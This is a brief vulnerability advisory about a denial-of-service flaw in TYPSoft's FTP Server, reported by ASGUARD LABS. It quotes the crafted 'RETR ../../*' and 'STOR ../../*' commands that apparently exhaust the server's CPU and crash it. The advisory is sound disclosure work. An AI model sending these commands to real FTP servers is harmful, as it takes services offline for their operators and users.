Description:
ASGUARD LABS reported a denial of service vulnerability in TYPSoft's FTP Server. Remote users can cause the server to crash.
It is reported that if a remote user with access to the FTP service (including anonymous access) sends a specially crafted "STOR" or "RETR" command, the FTP server will consume nearly all CPU resources and will then crash.
Sending the following type of command will apparently trigger the vulnerability:
RETR ../../*
or,
STOR ../../*
Demonstration exploit code is included in the Source Message.
The vendor has reportedly been contacted.
